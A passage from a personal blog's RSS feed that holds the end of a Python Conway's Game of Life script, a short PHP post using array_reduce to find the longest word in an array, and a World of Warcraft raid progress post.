&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> x <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="kw2">self</span>.<span class="me1">width</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span>.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#91;</span><span class="nu0">0</span> <span class="kw1">for</span> y <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="kw2">self</span>.<span class="me1">height</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">def</span> seed<span class="br0">&#40;</span><span class="kw2">self</span>, chance = <span class="nu0">0.4</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> x <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="kw2">self</span>.<span class="me1">width</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> y <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="kw2">self</span>.<span class="me1">height</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="kw3">random</span>.<span class="kw3">random</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> chance:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#91;</span>y<span class="br0">&#93;</span> = <span class="nu0">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#91;</span>y<span class="br0">&#93;</span> = <span class="nu0">0</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">def</span> add_glider<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> = <span class="nu0">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> = <span class="nu0">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> = <span class="nu0">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> = <span class="nu0">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> = <span class="nu0">1</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__str__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer = <span class="st0">''</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> y <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="kw2">self</span>.<span class="me1">height</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> x <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="kw2">self</span>.<span class="me1">width</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">str</span> = <span class="st0">' '</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#91;</span>y<span class="br0">&#93;</span> == <span class="nu0">1</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">str</span> = <span class="st0">'#'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer += <span class="kw2">str</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer += <span class="st0">'<span class="es0">\n</span>'</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer += <span class="st0">'<span class="es0">\n</span>'</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> buffer<br />
<br />
&nbsp; &nbsp; <span class="kw1">def</span> get_number_neighbours<span class="br0">&#40;</span><span class="kw2">self</span>, x, y<span class="br0">&#41;</span>:<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">def</span> get_value<span class="br0">&#40;</span>i,j<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">try</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#91;</span>j<span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">except</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; number_neighbours = get_value<span class="br0">&#40;</span>x-<span class="nu0">1</span>, y-<span class="nu0">1</span><span class="br0">&#41;</span> + get_value<span class="br0">&#40;</span>x, y-<span class="nu0">1</span><span class="br0">&#41;</span> &nbsp; + get_value<span class="br0">&#40;</span>x+<span class="nu0">1</span>, y-<span class="nu0">1</span><span class="br0">&#41;</span> + &nbsp;\<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; get_value<span class="br0">&#40;</span>x-<span class="nu0">1</span>, y<span class="br0">&#41;</span> &nbsp; + &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; get_value<span class="br0">&#40;</span>x+<span class="nu0">1</span>, y<span class="br0">&#41;</span> &nbsp; + &nbsp;\<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; get_value<span class="br0">&#40;</span>x-<span class="nu0">1</span>, y+<span class="nu0">1</span><span class="br0">&#41;</span> + get_value<span class="br0">&#40;</span>x, y+<span class="nu0">1</span><span class="br0">&#41;</span> &nbsp; + get_value<span class="br0">&#40;</span>x+<span class="nu0">1</span>, y+<span class="nu0">1</span><span class="br0">&#41;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> number_neighbours<br />
<br />
<br />
&nbsp; &nbsp; <span class="kw1">def</span> tick<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; new_grid = <span class="kw3">copy</span>.<span class="me1">deepcopy</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#41;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> x <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="kw2">self</span>.<span class="me1">width</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> y <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="kw2">self</span>.<span class="me1">height</span><span class="br0">&#41;</span>:<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; number_neighbours = <span class="kw2">self</span>.<span class="me1">get_number_neighbours</span><span class="br0">&#40;</span>x,y<span class="br0">&#41;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">self</span>.<span class="me1">grid</span><span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#91;</span>y<span class="br0">&#93;</span> == <span class="nu0">1</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> number_neighbours <span class="sy0">&lt;</span> <span class="nu0">2</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_grid<span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#91;</span>y<span class="br0">&#93;</span> = <span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">elif</span> number_neighbours <span class="sy0">&gt;</span> <span class="nu0">3</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_grid<span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#91;</span>y<span class="br0">&#93;</span> = <span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> number_neighbours == <span class="nu0">3</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_grid<span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#91;</span>y<span class="br0">&#93;</span> = <span class="nu0">1</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span> = new_grid<br />
<br />
<span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:<br />
&nbsp; &nbsp; grid = Grid<span class="br0">&#40;</span>WIDTH, HEIGHT<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="co1"># chance for a cell to be 'alive'</span><br />
&nbsp; &nbsp; grid.<span class="me1">seed</span><span class="br0">&#40;</span><span class="nu0">0.2</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="co1"># grid.add_glider()</span><br />
<br />
&nbsp; &nbsp; <span class="co1"># 100 generations</span><br />
&nbsp; &nbsp; <span class="kw1">for</span> x <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">100</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">os</span>.<span class="me1">system</span><span class="br0">&#40;</span><span class="st0">'clear'</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> grid<br />
&nbsp; &nbsp; &nbsp; &nbsp; grid.<span class="me1">tick</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2008/06/import-life/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pretending PHP doesn&#8217;t suck</title>
		<link>http://project-2501.net/index.php/2008/06/pretending-php-doesnt-suck/</link>
		<comments>http://project-2501.net/index.php/2008/06/pretending-php-doesnt-suck/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 08:00:44 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=80</guid>
		<description><![CDATA[&#60;?php

// Perhaps the simplest practical use of a fold?
//
// (While this is fairly consise (even in PHP) it calculates the length of a 
// string 2n-2 times [which is n-2 times more than needed])
function getLongestWord&#40;$words&#41;
&#123;
&#160; $fun = create_function&#40;'$a,$b', 'return (strlen($a) &#62; strlen($b)) ? $a : $b;'&#41;;

&#160; return array_reduce&#40;$words, $fun&#41;;
&#125;

// This looks a little better, but [...]]]></description>
			<content:encoded><![CDATA[<div class="codecolorer-container php " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="php codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="kw2">&lt;?php</span><br />
<br />
<span class="co1">// Perhaps the simplest practical use of a fold?</span><br />
<span class="co1">//</span><br />
<span class="co1">// (While this is fairly consise (even in PHP) it calculates the length of a </span><br />
<span class="co1">// string 2n-2 times [which is n-2 times more than needed])</span><br />
<span class="kw2">function</span> getLongestWord<span class="br0">&#40;</span><span class="re0">$words</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; <span class="re0">$fun</span> <span class="sy0">=</span> <span class="kw3">create_function</span><span class="br0">&#40;</span><span class="st_h">'$a,$b'</span><span class="sy0">,</span> <span class="st_h">'return (strlen($a) &gt; strlen($b)) ? $a : $b;'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; <span class="kw1">return</span> <span class="kw3">array_reduce</span><span class="br0">&#40;</span><span class="re0">$words</span><span class="sy0">,</span> <span class="re0">$fun</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<br />
<span class="co1">// This looks a little better, but it loses a lot of the simplicity of the above</span><br />
<span class="kw2">function</span> getLongestWord_2<span class="br0">&#40;</span><span class="re0">$words</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span> &nbsp;<br />
&nbsp; <span class="re0">$map</span> &nbsp;<span class="sy0">=</span> <span class="kw3">create_function</span><span class="br0">&#40;</span><span class="st_h">'$a'</span><span class="sy0">,</span> <span class="st_h">'return array($a, strlen($a));'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; <span class="re0">$fold</span> <span class="sy0">=</span> <span class="kw3">create_function</span><span class="br0">&#40;</span><span class="st_h">'$a,$b'</span><span class="sy0">,</span> <span class="st_h">'return ($a[1] &gt; $b[1]) ? $a : $b;'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; <span class="re0">$word</span> <span class="sy0">=</span> <span class="kw3">array_reduce</span><span class="br0">&#40;</span><span class="kw3">array_map</span><span class="br0">&#40;</span><span class="re0">$map</span><span class="sy0">,</span> <span class="re0">$words</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="re0">$fold</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; <span class="kw1">return</span> <span class="re0">$word</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<br />
<span class="re0">$words</span> <span class="sy0">=</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="st_h">'a'</span><span class="sy0">,</span> <span class="st_h">'bb'</span><span class="sy0">,</span> <span class="st_h">'ccc'</span><span class="sy0">,</span> <span class="st_h">'dd'</span><span class="sy0">,</span> <span class="st_h">'eeee'</span><span class="sy0">,</span> <span class="st_h">'fff'</span><span class="sy0">,</span> <span class="st_h">'gg'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw3">var_dump</span><span class="br0">&#40;</span>getLongestWord<span class="br0">&#40;</span><span class="re0">$words</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="co1">// string(4) &quot;eeee&quot;</span><br />
<br />
<span class="kw3">var_dump</span><span class="br0">&#40;</span>getLongestWord_2<span class="br0">&#40;</span><span class="re0">$words</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="co1">// string(4) &quot;eeee&quot;</span><br />
<br />
<span class="sy1">?&gt;</span></div></div>
<p>Is there an even simpler way to find the longest string in an array?</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2008/06/pretending-php-doesnt-suck/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WoW Progress</title>
		<link>http://project-2501.net/index.php/2007/10/wow-progress/</link>
		<comments>http://project-2501.net/index.php/2007/10/wow-progress/#comments</comments>
		<pubDate>Mon, 01 Oct 2007 14:21:28 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[games]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=54</guid>
		<description><![CDATA[First trip to Kara on the weekend, being mostly a PUG we started off really poorly.  We eventually replaced our off tank (who was arms :/) with a well geared (epic) tank which helped substantially.  Though, we still only managed to down Huntsman and Maiden of Virtue.
I have most of the standard instances [...]]]></description>
			<content:encoded><![CDATA[<p>First trip to Kara on the weekend, being mostly a PUG we started off really poorly.  We eventually replaced our off tank (who was arms :/) with a well geared (epic) tank which helped substantially.  Though, we still only managed to down <a href="http://www.wowwiki.com/Attumen_the_Huntsman">Huntsman</a> and <a href="http://www.wowwiki.com/Maiden_of_Virtue">Maiden of Virtue</a>.</p>
<p>I have most of the standard instances down pretty well  (ran SV the other night with a naked healer without any trouble <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).  Though without a good group of people, heroics seem really hits and miss (so far, mostly miss) which is a little annoying as the progression seems pretty steep after the standard 5 mans.  As I (slowly) improve I&#8217;m sure it will get better.</p>
<p>My new progression target is Exalted with <a href="http://www.wowwiki.com/Darnassus">Darnassus</a>.  Tonight I managed to pick up ~4000 rep simply by doing a few <strong>very</strong> low level quests, hopefully the next 15,000 well be just as easy <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://project-2501.net/gallery/wow/092907_214525.jpg"><img src="http://project-2501.net/gallery/.thumbs/gallery_wow_092907_214525.jpg.jpeg" /></a><br />
Huntsman</p>
<p><a href="http://project-2501.net/gallery/wow/092907_232739.jpg"><img src="http://project-2501.net/gallery/.thumbs/gallery_wow_092907_232739.jpg.jpeg" /></a><br />
Maiden</p>
<p><a href="http://project-2501.net/gallery/wow/092607_232101.jpg"><img src="http://project-2501.net/gallery/.thumbs/gallery_wow_092607_232101.jpg.jpeg" /></a><br />
Murmur</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2007/10/wow-progress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
